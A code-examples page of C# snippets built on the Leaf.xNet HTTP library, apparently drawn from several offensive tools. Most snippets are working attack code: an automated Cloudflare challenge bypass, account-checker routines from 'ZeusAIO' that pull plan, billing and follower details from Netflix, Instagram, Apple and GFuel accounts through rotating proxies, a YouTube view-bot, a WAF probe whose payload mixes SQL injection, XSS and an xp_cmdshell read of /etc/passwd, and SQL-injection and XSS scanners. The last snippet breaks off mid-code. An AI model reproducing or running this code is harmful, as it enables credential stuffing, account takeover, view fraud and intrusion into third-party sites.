Пример #1
0
        public void MainPage()
        {
            //1. инициалицирует csrf и получает форму
            initResponse = httpRequest.Get(BASE_URL + TICKET_ACTION);
            if (Helper.IsBan(initResponse))
            {
                throw new Exception("БАН");
            }

            //2. заполняем поля и посылаем форму
            List <KeyValuePair <string, string> > changeInputs = new List <KeyValuePair <string, string> >();

            Parser   parser    = new Parser(initResponse.ToString());
            IElement form      = parser.GetForm("order-form");
            double   costBtc   = GetBtcRateByTicketForm(form);
            double   amountBtc = GetAmountRecive(amount, costBtc);

            changeInputs.Add(new KeyValuePair <string, string>("SellForm[sell_amount]", amount.ToString().Replace(',', '.')));
            changeInputs.Add(new KeyValuePair <string, string>("SellForm[sell_source]", phone));
            changeInputs.Add(new KeyValuePair <string, string>("BuyForm[buy_amount]", amountBtc.ToString().Replace(',', '.')));
            changeInputs.Add(new KeyValuePair <string, string>("BuyForm[buy_target]", btcAddr));

            step1Response = Helper.Submit("order-form", initResponse, BASE_URL, ref httpRequest, changeInputs);
            if (Helper.IsBan(step1Response))
            {
                throw new Exception("БАН");
            }
        }
Пример #2
0
        public bool IsBan()
        {
            try
            {
                return(Helper.IsBan(httpRequest.Get(BASE_URL)));
            }
            catch (Exception) { }

            return(true);
        }
Пример #3
0
        public Leaf.xNet.HttpResponse Get(string url, ref Leaf.xNet.HttpRequest req)
        {
            Leaf.xNet.HttpResponse con = null;
            var JSEngine = new Jint.Engine();
            var uri      = new Uri(url);

            try
            {
                req.Cookies   = new CookieStorage();
                req.UserAgent = Http.ChromeUserAgent();
                //Делаем запрос к сайту с защитой CF, вероятнее всего он выдаст ошибку 503 и отправимся мы в блок Catch
                con = req.Get(url);
            }
            catch (Exception)
            {
                //В переменную Con заносим ответ от сайта и парсим нужную инфу
                con = req.Response;
                var challenge      = Regex.Match(con.ToString(), "name=\"jschl_vc\" value=\"(\\w+)\"").Groups[1].Value;
                var challenge_pass = Regex.Match(con.ToString(), "name=\"pass\" value=\"(.+?)\"").Groups[1].Value;

                var builder = Regex.Match(con.ToString(), @"setTimeout\(function\(\){\s+(var t,r,a,f.+?\r?\n[\s\S]+?a\.value =.+?)\r?\n").Groups[1].Value;
                builder = Regex.Replace(builder, @"a\.value =(.+?) \+ .+?;", "$1");
                builder = Regex.Replace(builder, @"\s{3,}[a-z](?: = |\.).+", "");
                builder = Regex.Replace(builder, @"[\n\\']", "");

                //Выполняем JS
                long solved = long.Parse(JSEngine.Execute(builder).GetCompletionValue().ToObject().ToString());
                solved += uri.Host.Length; //add the length of the domain to it.

                //Ждем 3 сек, иначе CF пошлет нас к хуям
                Thread.Sleep(3000);

                //Генерируем запрос
                string cookie_url  = string.Format("{0}://{1}/cdn-cgi/l/chk_jschl", uri.Scheme, uri.Host);
                var    uri_builder = new UriBuilder(cookie_url);
                var    query       = HttpUtility.ParseQueryString(uri_builder.Query);
                query["jschl_vc"]     = challenge;
                query["pass"]         = challenge_pass;
                query["jschl_answer"] = solved.ToString();
                uri_builder.Query     = query.ToString();

                req.AllowAutoRedirect = false;
                req.Referer           = url;

                //Отправляем запрос
                con = req.Get(uri_builder.Uri);
            }

            return(con);
        }
Пример #4
0
        private static void ProxyUpdater()
        {
            var stopwatch = new Stopwatch();

            stopwatch.Start();
            var sec = 600;

            while (true)
            {
                if (stopwatch.ElapsedTicks * 10 >= sec)
                {
                    var proxies = string.Empty;
                    foreach (var proxyUrl in Urls)
                    {
                        using (var req = new HttpRequest())
                        {
                            try
                            {
                                proxies += req.Get(proxyUrl) + "\r\n";
                            }
                            catch
                            {
                                // ignore
                            }
                        }
                    }

                    _scraper.SafeUpdate(proxies);
                    sec += 600;
                }

                Thread.Sleep(1000);
            }
        }
Пример #5
0
        static string AppleGetToken(ref CookieStorage cookies)
        {
            while (true)
            {
                try
                {
                    using (HttpRequest req = new HttpRequest())
                    {
                        SetBasicRequestSettingsAndProxies(req);
                        cookies       = new CookieStorage();
                        req.Cookies   = cookies;
                        req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36";
                        req.AddHeader("Accept", "*/*");

                        string strResponse = req.Get(new Uri("https://secure4.store.apple.com/shop/sign_in?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ")).ToString();

                        if (strResponse.Contains("stk\":\""))
                        {
                            return(Regex.Match(strResponse, "stk\":\"(.*?)\"}").Groups[1].Value);
                        }
                    }
                }
                catch
                {
                    ZeusAIO.mainmenu.errors++;
                }
            }
            return("");
        }
Пример #6
0
        static string NetflixGetCaptures(string cookie, CookieStorage cookies)
        {
            for (int i = 0; i < 5; i++)
            {
                while (true)
                {
                    try
                    {
                        using (HttpRequest req = new HttpRequest())
                        {
                            string proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                req.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                req.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                req.Proxy = Socks5ProxyClient.Parse(proxy);
                            }
                            //req.AddHeader("Cookie", "flwssn="+cookie);
                            req.Cookies = cookies;
                            req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
                            req.AddHeader("Accept-Encoding", "gzip, deflate, br");
                            req.AddHeader("Cache-Control", "max-age=0");
                            req.AddHeader("Connection", "keep-alive");
                            req.Referer = "https://www.netflix.com/browse";
                            req.AddHeader("Sec-Fetch-Dest", "document");
                            req.AddHeader("Sec-Fetch-Mode", "navigate");
                            req.AddHeader("Sec-Fetch-Site", "same-origin");
                            req.AddHeader("Sec-Fetch-User", "?1");
                            req.AddHeader("Upgrade-Insecure-Requests", "1");
                            req.UserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1";
                            string strResponse = req.Get(new Uri($"https://www.netflix.com/YourAccount")).ToString();

                            if (strResponse.Contains("currentPlanName\""))
                            {
                                string plan            = Regex.Match(strResponse, "\"currentPlanName\":\"(.*?)\"").Groups[1].Value.Replace("\\u03A4\\u03C5\\u03C0\\u03B9\\u03BA\\u03CC", "Basic").Replace("B\\u00E1sico", "Basic").Replace("u57FAu672C", "Basic").Replace("Est\\u00E1ndar", "Standard").Replace("Standart", "Standard");
                                string country         = Regex.Match(strResponse, "\"currentCountry\":\"(.*?)\"").Groups[1].Value;
                                string isDVD           = Regex.Match(strResponse, "\"isDVD\":(.*?),").Groups[1].Value;
                                string screens         = Regex.Match(strResponse, "\"maxStreams\":([0-9]*?),").Groups[1].Value;
                                string nextBillingDate = Regex.Match(strResponse, "\"nextBillingDate\":\"(.*?)\"").Groups[1].Value.Replace("\\x2F", "/").Replace("\\x20", "/");

                                return($"Plan: {plan} - Screens: {screens} - Country: {country} - DVD: {isDVD} - Next Billing: {nextBillingDate}");
                            }
                            break;
                        }
                    }
                    catch
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return("Working - Failed Capture");
        }
Пример #7
0
        private static string InstagramGetCaptures(CookieStorage cookies, string username)
        {
            while (true)
            {
                try
                {
                    using (var req = new HttpRequest())
                    {
                        switch (Program.ProxyType1)
                        {
                        case "HTTP":
                            req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS4":
                            req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS5":
                            req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;
                        }

                        req.IgnoreProtocolErrors = true;
                        req.AllowAutoRedirect    = false;

                        req.Cookies   = cookies;
                        req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                        req.AddHeader("Pragma", "no-cache");
                        req.AddHeader("Accept", "*/*");

                        var strResponse = req.Get(new Uri($"https://www.instagram.com/{username}/")).ToString();

                        if (strResponse.Contains("\"edge_followed_by\":{\"count\":"))
                        {
                            var follower_count = Regex.Match(strResponse, "\"edge_followed_by\":{\"count\":(.*?)}")
                                                 .Groups[1].Value;
                            var following_count = Regex.Match(strResponse, ",\"edge_follow\":{\"count\":(.*?)}")
                                                  .Groups[1].Value;

                            return($" - Followers: {follower_count} - Following: {following_count}");
                        }

                        return("");
                    }
                }
                catch
                {
                    Program.Errors++;
                }
            }

            return("");
        }
Пример #8
0
        public string GetUrlForCreate(string email, double amountRUB, string phone, string addressBTC)
        {
            this.current = httpRequest.Get(BASE_URL + PAIR);
            Parser   parser = new Parser(this.current.ToString());
            IElement form   = parser.GetForm("ajax_post_bids");
            List <ParserInputData> inputs = parser.GetInputsByForm(form);

            parser
            .ModifyInputs(ref inputs, "cf6", email)
            .ModifyInputs(ref inputs, "sum1", amountRUB.ToString())
            .ModifyInputs(ref inputs, "account1", phone)
            .ModifyInputs(ref inputs, "account2", addressBTC.ToString())
            .ModifyInputs(ref inputs, "check_data", "1");

            string action       = BASE_URL + form.GetAttribute("action");
            var    responseJson = httpRequest.Post(action, HtmlHelper.ConvertToRequestParams(inputs));
            var    response     = JsonConvert.DeserializeObject <AjaxCreateResponse>(responseJson.ToString());

            return(response.url);
        }
Пример #9
0
        public Dictionary <string, string> getVKUserGroups(string accessToken)
        {
            Leaf.xNet.HttpResponse groupsResponse;
            string groupSearchUri = String.Format("https://api.vk.com/method/groups.get?extended=1&access_token={0}&v=5.92", accessToken);

            using (var groupsRequest = new Leaf.xNet.HttpRequest())
            {
                groupsRequest.UserAgent = Http.ChromeUserAgent();
                groupsResponse          = groupsRequest.Get(groupSearchUri);
                return(JSONSerializer.getGroupsIdAndNameDictionary(groupsResponse.ToString()));
            }
        }
Пример #10
0
        static string GFuelGetCaptures(string token, string email)
        {
            while (true)
            {
                try
                {
                    using (HttpRequest req = new HttpRequest())
                    {
                        SetBasicRequestSettingsAndProxies(req);

                        req.AddHeader("Content-Type", "application/graphql; charset=utf-8");
                        req.AddHeader("Accept", "application/json");
                        req.AddHeader("X-Shopify-Storefront-Access-Token", "21765aa7568fd627c44d68bde191f6c0");
                        string strResponse = req.Post(new Uri($"https://gfuel.com/api/2020-01/graphql"), new BytesContent(Encoding.Default.GetBytes("{customer(customerAccessToken:\"" + token + "\"){createdAt,displayName,email,id,firstName,lastName,phone}}"))).ToString();

                        if (strResponse.Contains("\"id\":\""))
                        {
                            string creation_date = Regex.Match(strResponse, "createdAt\":\"(.*?)\"").Groups[1].Value.Split('T')[0];
                            string userId        = Regex.Match(strResponse, "\"id\":\"(.*?)\"").Groups[1].Value.Split('T')[0];
                            string decodedId     = Check.Base64Encode(userId).Replace("gid://shopify/Customer/", "");

                            req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                            req.AddHeader("Accept", "*/*");
                            string strResponse2 = req.Get($"https://loyalty.yotpo.com/api/v1/customer_details?customer_email={email}&customer_external_id={decodedId}&customer_token={token}&merchant_id=33869").ToString();

                            if (strResponse2.Contains("\"created_at\""))
                            {
                                string pointsBalance = Regex.Match(strResponse2, "\"points_balance\":(.*?),").Groups[1].Value;
                                string vipStatus     = Regex.Match(strResponse2, ",\"campaign\":{\"title\":\"Earned Tier (.*?)\"").Groups[1].Value;
                                string purchases     = Regex.Match(strResponse2, "\"purchases_made\":(.*?),").Groups[1].Value;

                                if (pointsBalance == "" || pointsBalance == "0")
                                {
                                    return("Free");
                                }

                                return($"Points Balance: {pointsBalance} - Vip Status: {vipStatus} - Purchases: {purchases}");
                            }
                            return("");
                        }
                        else
                        {
                            return("");
                        }
                    }
                }
                catch
                {
                    ZeusAIO.mainmenu.errors++;
                }
            }
            return("");
        }
Пример #11
0
 override public string[] getAccessTokenJSON(string code)
 {
     Leaf.xNet.HttpResponse tokenResponse = null;
     string[] result = new string[2];
     using (var tokenRequest = new Leaf.xNet.HttpRequest())
     {
         tokenRequest.UserAgent = Http.ChromeUserAgent();
         tokenResponse          = tokenRequest.Get(oAuthATUri + code);
         result[0] = JSONSerializer.getValueOfJSONString("access_token", tokenResponse.ToString());
         result[1] = " " + JSONSerializer.getValueOfJSONString("user_id", tokenResponse.ToString());
     }
     return(result);
 }
Пример #12
0
        private static string AppleGetToken(ref CookieStorage cookies)
        {
            while (true)
            {
                try
                {
                    using (var req = new HttpRequest())
                    {
                        switch (Program.ProxyType1)
                        {
                        case "HTTP":
                            req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS4":
                            req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS5":
                            req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;
                        }

                        cookies       = new CookieStorage();
                        req.Cookies   = cookies;
                        req.UserAgent =
                            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36";
                        req.AddHeader("Accept", "*/*");

                        var strResponse = req.Get(new Uri(
                                                      "https://secure4.store.apple.com/shop/sign_in?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ"))
                                          .ToString();

                        if (strResponse.Contains("stk\":\""))
                        {
                            return(Regex.Match(strResponse, "stk\":\"(.*?)\"}").Groups[1].Value);
                        }
                    }
                }
                catch
                {
                    Program.Errors++;
                }
            }

            return("");
        }
Пример #13
0
        public bool wafProtection(string url)
        {
            try
            {
                string payLoad            = " AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#";
                Leaf.xNet.HttpRequest req = new Leaf.xNet.HttpRequest()
                {
                    Cookies              = new CookieStorage(false),
                    ConnectTimeout       = 20000,
                    ReadWriteTimeout     = 20000,
                    IgnoreProtocolErrors = true
                };

                req.Get(url);
                string        source = req.Response.ToString();
                List <string> urls   = helperObejct.insertPayload(url, payLoad);
                foreach (string item in urls)
                {
                    req.Get(item);
                    string newSource = req.Response.ToString();
                    if (newSource.Length <= 50)
                    {
                        return(true);
                    }
                    if (req.Response.StatusCode.ToString() != "OK")
                    {
                        return(true);
                    }
                }

                return(false);
            }
            catch (Exception E)
            {
                return(true);
            }
        }
Пример #14
0
        static string InstagramGetCaptures(CookieStorage cookies, string username)
        {
            while (true)
            {
                try
                {
                    using (HttpRequest httpRequest = new HttpRequest())
                    {
                        string proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                        if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                        {
                            httpRequest.Proxy = HttpProxyClient.Parse(proxy);
                        }
                        if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                        {
                            httpRequest.Proxy = Socks4ProxyClient.Parse(proxy);
                        }
                        if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                        {
                            httpRequest.Proxy = Socks5ProxyClient.Parse(proxy);
                        }
                        httpRequest.IgnoreProtocolErrors = true;
                        httpRequest.AllowAutoRedirect    = false;

                        httpRequest.Cookies   = cookies;
                        httpRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                        httpRequest.AddHeader("Pragma", "no-cache");
                        httpRequest.AddHeader("Accept", "*/*");

                        string strResponse = httpRequest.Get(new Uri($"https://www.instagram.com/{username}/")).ToString();

                        if (strResponse.Contains("\"edge_followed_by\":{\"count\":"))
                        {
                            string follower_count  = Regex.Match(strResponse, "\"edge_followed_by\":{\"count\":(.*?)}").Groups[1].Value;
                            string following_count = Regex.Match(strResponse, ",\"edge_follow\":{\"count\":(.*?)}").Groups[1].Value;

                            return($" - Followers: {follower_count} - Following: {following_count}");
                        }
                        return("");
                    }
                }
                catch
                {
                    ZeusAIO.mainmenu.errors++;
                }
            }
            return("");
        }
Пример #15
0
 public static void Scanner()
 {
     for (;;)
     {
         try
         {
             if (URLindex >= Urls.Count - 40)
             {
                 break;
             }
             var URL = Urls[URLindex];
             try
             {
                 using (var req = new HttpRequest())
                 {
                     Interlocked.Increment(ref URLindex);
                     req.UserAgent            = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0";
                     req.Cookies              = new CookieStorage(false);
                     req.ConnectTimeout       = 5000;
                     req.ReadWriteTimeout     = 5000;
                     req.KeepAlive            = true;
                     req.IgnoreProtocolErrors = true;
                     string get = req.Get(URL + "'").ToString();
                     if (Keys.Any(get.Contains))
                     {
                         Vulns++;
                         TotalChecks++;
                         Export.AsResult("/Vuln_URLs", URL);
                     }
                     else
                     {
                         TotalChecks++;
                         NonVulns++;
                         Export.AsResult("/Non_Vuln_Urls", URL);
                     }
                 }
             }
             catch (Exception e)
             {
                 errors++;
             }
         }
         catch (Exception e)
         {
             errors++;
         }
     }
 }
Пример #16
0
        public Post getVKPost(string accessToken, string groupId, int numberOfPost)
        {
            Leaf.xNet.HttpResponse postResponse = null;
            Post result = new Post();

            using (var postRequest = new Leaf.xNet.HttpRequest())
            {
                postRequest.UserAgent = Http.ChromeUserAgent();
                postResponse          = postRequest.Get(
                    String.Format("https://api.vk.com/method/wall.get?extended=1&owner_id=-{0}&count=1&offset={1}&access_token={2}&v={3}"
                                  , groupId, numberOfPost, accessToken, version));
                result = JSONSerializer.getPost(postResponse.ToString());
                Thread.Sleep(200);
                return(result);
            }
        }
Пример #17
0
        private static string InstagramGetCSRF(ref CookieStorage cookies)
        {
            while (true)
            {
                try
                {
                    using (var req = new HttpRequest())
                    {
                        switch (Program.ProxyType1)
                        {
                        case "HTTP":
                            req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS4":
                            req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS5":
                            req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;
                        }

                        req.IgnoreProtocolErrors = true;
                        req.AllowAutoRedirect    = false;

                        cookies       = new CookieStorage();
                        req.Cookies   = cookies;
                        req.UserAgent =
                            "Instagram 25.0.0.26.136 Android (24/7.0; 480dpi; 1080x1920; samsung; SM-J730F; j7y17lte; samsungexynos7870)";

                        var strResponse = req.Get(new Uri("https://i.instagram.com/api/v1/accounts/login/")).ToString();

                        return(cookies.GetCookies("https://i.instagram.com")["csrftoken"].Value);
                    }
                }
                catch
                {
                    Program.Errors++;
                }
            }

            return("");
        }
Пример #18
0
        public bool DoLogin()
        {
            //1. инициалицирует csrf и получает форму
            initResponse = httpRequest.Get(BASE_URL + LOGIN_ACTION);
            string initResponseContent = initResponse.ToString();

            //2. авторизация
            Parser   parser = new Parser(initResponseContent);
            IElement form   = parser.GetForm("login-form");
            List <ParserInputData> inputs = parser.GetInputsByForm(form);

            parser.ModifyInputs(ref inputs, "LoginForm[identity]", uname)
            .ModifyInputs(ref inputs, "LoginForm[password]", passwrd);

            loginResponse = httpRequest.Post(BASE_URL + LOGIN_ACTION, Helper.ConvertToRequestParams(inputs));
            string loginResponseContent = loginResponse.ToString();

            return(loginResponseContent.IndexOf("/user/sign-in/logout") != -1);
        }
Пример #19
0
        static string InstagramGetCSRF(ref CookieStorage cookies)
        {
            while (true)
            {
                try
                {
                    using (HttpRequest httpRequest = new HttpRequest())
                    {
                        string proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                        if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                        {
                            httpRequest.Proxy = HttpProxyClient.Parse(proxy);
                        }
                        if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                        {
                            httpRequest.Proxy = Socks4ProxyClient.Parse(proxy);
                        }
                        if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                        {
                            httpRequest.Proxy = Socks5ProxyClient.Parse(proxy);
                        }
                        httpRequest.IgnoreProtocolErrors = true;
                        httpRequest.AllowAutoRedirect    = false;

                        cookies               = new CookieStorage();
                        httpRequest.Cookies   = cookies;
                        httpRequest.UserAgent = "Instagram 25.0.0.26.136 Android (24/7.0; 480dpi; 1080x1920; samsung; SM-J730F; j7y17lte; samsungexynos7870)";

                        string strResponse = httpRequest.Get(new Uri("https://i.instagram.com/api/v1/accounts/login/")).ToString();

                        return(cookies.GetCookies("https://i.instagram.com")["csrftoken"].Value);
                    }
                }
                catch
                {
                    ZeusAIO.mainmenu.errors++;
                }
            }
            return("");
        }
Пример #20
0
        public bool CheckIsBanForever(ProxySettingsItem proxy, bool removeFromProxyJSON = true)
        {
            Leaf.xNet.HttpRequest http = new Leaf.xNet.HttpRequest();
            http.UserAgentRandomize();
            http.Proxy = proxy.CreateProxyClient();

            bool isBan = false;

            try {
                http.ConnectTimeout = 3000;
                isBan = Helper.IsBanForever(http.Get(BASE_URL));
            } catch (Exception ex) { isBan = true; }

            try
            {
                if (isBan && removeFromProxyJSON)
                {
                    App.settings.proxy.Remove(proxy.ip, proxy.port);
                }
            }
            catch (Exception ex) { }

            return(isBan);
        }
Пример #21
0
        private static void Main()
        {
            if (!File.Exists("proxy_url.txt"))
            {
                File.AppendAllText("proxy_url.txt", string.Join("\r\n", Urls));
            }

            Console.Title = $"YTViewer | {GitRepo}";
            Logo(ConsoleColor.Cyan);

            _id           = Dialog("Enter Video ID");
            _threadsCount = Convert.ToInt32(Dialog("Enter Threads Count (Comfort 2000)"));

            while (true)
            {
                Logo(ConsoleColor.Cyan);

                Console.ForegroundColor = ConsoleColor.White;
                Console.WriteLine("Select proxy type: \n1. Http`s \n2. Socks \n3. Socks5");

                Console.Write("Your choice: ");
                Console.ForegroundColor = ConsoleColor.Cyan;

                var k = Console.ReadKey().KeyChar;

                try
                {
                    var key = int.Parse(k.ToString());
                    switch (key)
                    {
                    case 1:
                        _proxyType = ProxyType.HTTP;
                        break;

                    case 2:
                        _proxyType = ProxyType.Socks4;
                        break;

                    case 3:
                        _proxyType = ProxyType.Socks5;
                        break;

                    default:
                        throw new Exception();
                    }
                }
                catch
                {
                    continue;
                }

                Console.ForegroundColor = ConsoleColor.White;
                Console.WriteLine($"\r\nSelected {_proxyType} proxy");

                break;
            }

            while (true)
            {
                Console.ForegroundColor = ConsoleColor.White;
                Console.WriteLine("Update proxies by urls?:\r\n1. Yes\r\n2. No");

                Console.Write("Your choice: ");

                var k = Console.ReadKey().KeyChar;

                try
                {
                    var pt = int.Parse(k.ToString());
                    switch (pt)
                    {
                    case 1:
                        _updateProxy = true;
                        break;

                    case 2:
                        break;

                    default:
                        throw new Exception();
                    }
                }
                catch
                {
                    continue;
                }

                break;
            }

reProxy:
            if (_updateProxy)
            {
                Urls = File.ReadAllText("proxy_url.txt").Trim().Split(new[] { "\r\n", "\n" }, StringSplitOptions.None);
                Console.WriteLine("\nProxy links: \n" + string.Join("\r\n", Urls));
                Console.WriteLine("You can set your own links in 'proxy_url.txt' file");

                var totalProxies = string.Empty;

                using (var req = new HttpRequest
                {
                    ConnectTimeout = 3000
                })
                {
                    foreach (var proxyUrl in Urls)
                    {
                        Console.ResetColor();
                        Console.Write($"Downloading proxies from '{proxyUrl}': ");
                        {
                            try
                            {
                                totalProxies           += req.Get(proxyUrl) + "\r\n";
                                Console.ForegroundColor = ConsoleColor.Green;
                                Console.WriteLine("Success");
                                Console.ResetColor();
                            }
                            catch (Exception e)
                            {
                                Console.ForegroundColor = ConsoleColor.Red;
                                Console.WriteLine($"Error: \n {e.Message}");
                                Console.ResetColor();
                            }
                        }
                    }
                }

                if (totalProxies.Length == 0)
                {
                    MessageBox.Show("Couldn't update proxies by url. You will have to do manually");
                    _updateProxy = false;
                    goto reProxy;
                }

                _scraper = new ProxyQueue(totalProxies, _proxyType);
            }
            else
            {
                Console.WriteLine("Select proxy list");

                var dialog = new OpenFileDialog {
                    Filter = "Proxy list (*.txt)|*.txt"
                };

                if (dialog.ShowDialog() != DialogResult.OK)
                {
                    return;
                }

                _scraper = new ProxyQueue(File.ReadAllText(dialog.FileName), _proxyType);
            }

            Console.WriteLine($"\nLoaded {_scraper.Length} proxies");

            Logo(ConsoleColor.Green);

            var threads = new List <Thread>();

            var logWorker = new Thread(Log);

            logWorker.Start();
            threads.Add(logWorker);

            if (_updateProxy)
            {
                var proxyWorker = new Thread(ProxyUpdater);
                proxyWorker.Start();
                threads.Add(proxyWorker);
            }

            for (var i = 0; i < _threadsCount; i++)
            {
                var t = new Thread(Worker);
                t.Start();
                threads.Add(t);
            }

            foreach (var t in threads)
            {
                t.Join();
            }

            Console.ReadKey();
        }
Пример #22
0
        public bruteResult Config(ref string dork, string objectString, string proxy = null, string additionalOne = null, string additionalTwo = null)
        {
            transActions++;
            try
            {
                bool waf = false;
                if (wafProtection(dork))
                {
                    waf = true;
                }
                string        first              = randomText(3);
                string        sec                = randomText(3);
                string        finalpayloadTest   = "'" + first + "<'\">" + sec + "";
                string        finalpayloadCheck  = "" + first + "<'\">" + sec + "";
                string        finalpayloadCheck2 = $@"{first}<\'\"">{sec}";
                List <string> xsspayloads        = new List <string>()
                {
                    finalpayloadTest,
                    "%27%3EPH09NIXPY74X0%3Csvg%2Fonload%3Dconfirm%28%2FPH09NIXPY74X%2F%29%3Eweb",
                    "%22%3EPH09NIXPY74X0%3Csvg%2Fonload%3Dconfirm%28%2FPH09NIXPY74X%2F%29%3Eweb",
                    "PH09NIXPY74X%3Csvg%2Fonload%3Dconfirm%28%2FPH09NIXPY74X%2F%29%3Eweb",
                };
                List <string> containsList = new List <string>()
                {
                    finalpayloadCheck2, finalpayloadCheck
                };
                string userAgent  = Leaf.xNet.Http.RandomUserAgent();
                string sourceBase = "";
                foreach (string item in xsspayloads)
                {
                    List <string> urls = helperObejct.insertPayload(dork, item);
                    foreach (string urlNew in urls)
                    {
                        if (urlNew == "itsnotInjectAble")
                        {
                            transActions--;
                            return(bruteResult.unvulnerAble);
                        }
                        else
                        {
                            Leaf.xNet.HttpRequest req = new Leaf.xNet.HttpRequest()
                            {
                                IgnoreProtocolErrors = true,
                                AllowAutoRedirect    = true,
                                Cookies          = new CookieStorage(false),
                                ConnectTimeout   = helperObejct.timeOut * 1000,
                                ReadWriteTimeout = helperObejct.timeOut * 1000,
                                KeepAlive        = false,
                                UserAgent        = userAgent
                            };
                            if (sourceBase.Length <= 0)
                            {
                                sourceBase = req.Get(dork).ToString();
                            }
                            string source = req.Get(urlNew).ToString();
                            Regex  rx     = new Regex("PH09NIXPY74X<svg|" + finalpayloadCheck + "|" + finalpayloadCheck2);
                            if (rx.IsMatch(source) && rx.IsMatch(sourceBase) == false)
                            {
                                transActions--;
                                try
                                {
                                    string url = dork;
                                    helperObejct.mainFormObject.Dispatcher.Invoke(() =>
                                    {
                                        itsABug bug = new itsABug()
                                        {
                                            id            = (helperObejct.mainFormObject.vulnerableUrlsList.Count + 1).ToString(),
                                            url           = url,
                                            vulnerability = "xss",
                                            WAF           = waf.ToString(),
                                            payload       = item
                                        };
                                        helperObejct.mainFormObject.vulnerableUrlsList.Add(bug);
                                        helperObejct.mainFormObject.resultView.ItemsSource = helperObejct.mainFormObject.vulnerableUrlsList;
                                        helperObejct.mainFormObject.resultView.Items.Refresh();
                                    });
                                    dork = $"url={dork} | WAF={waf.ToString()} | payload={item.ToString()}";
                                }
                                catch
                                {
                                }

                                return(bruteResult.xss);
                            }
                            else
                            {
                                foreach (var STR in containsList)
                                {
                                    if (source.Contains(STR) && source.Contains(STR) == false)
                                    {
                                        transActions--;
                                        try
                                        {
                                            string url = dork;
                                            helperObejct.mainFormObject.Dispatcher.Invoke(() =>
                                            {
                                                itsABug bug = new itsABug()
                                                {
                                                    id            = (helperObejct.mainFormObject.vulnerableUrlsList.Count + 1).ToString(),
                                                    url           = url,
                                                    vulnerability = "xss",
                                                    WAF           = waf.ToString(),
                                                    payload       = item
                                                };
                                                helperObejct.mainFormObject.vulnerableUrlsList.Add(bug);
                                                helperObejct.mainFormObject.resultView.ItemsSource = helperObejct.mainFormObject.vulnerableUrlsList;
                                                helperObejct.mainFormObject.resultView.Items.Refresh();
                                            });
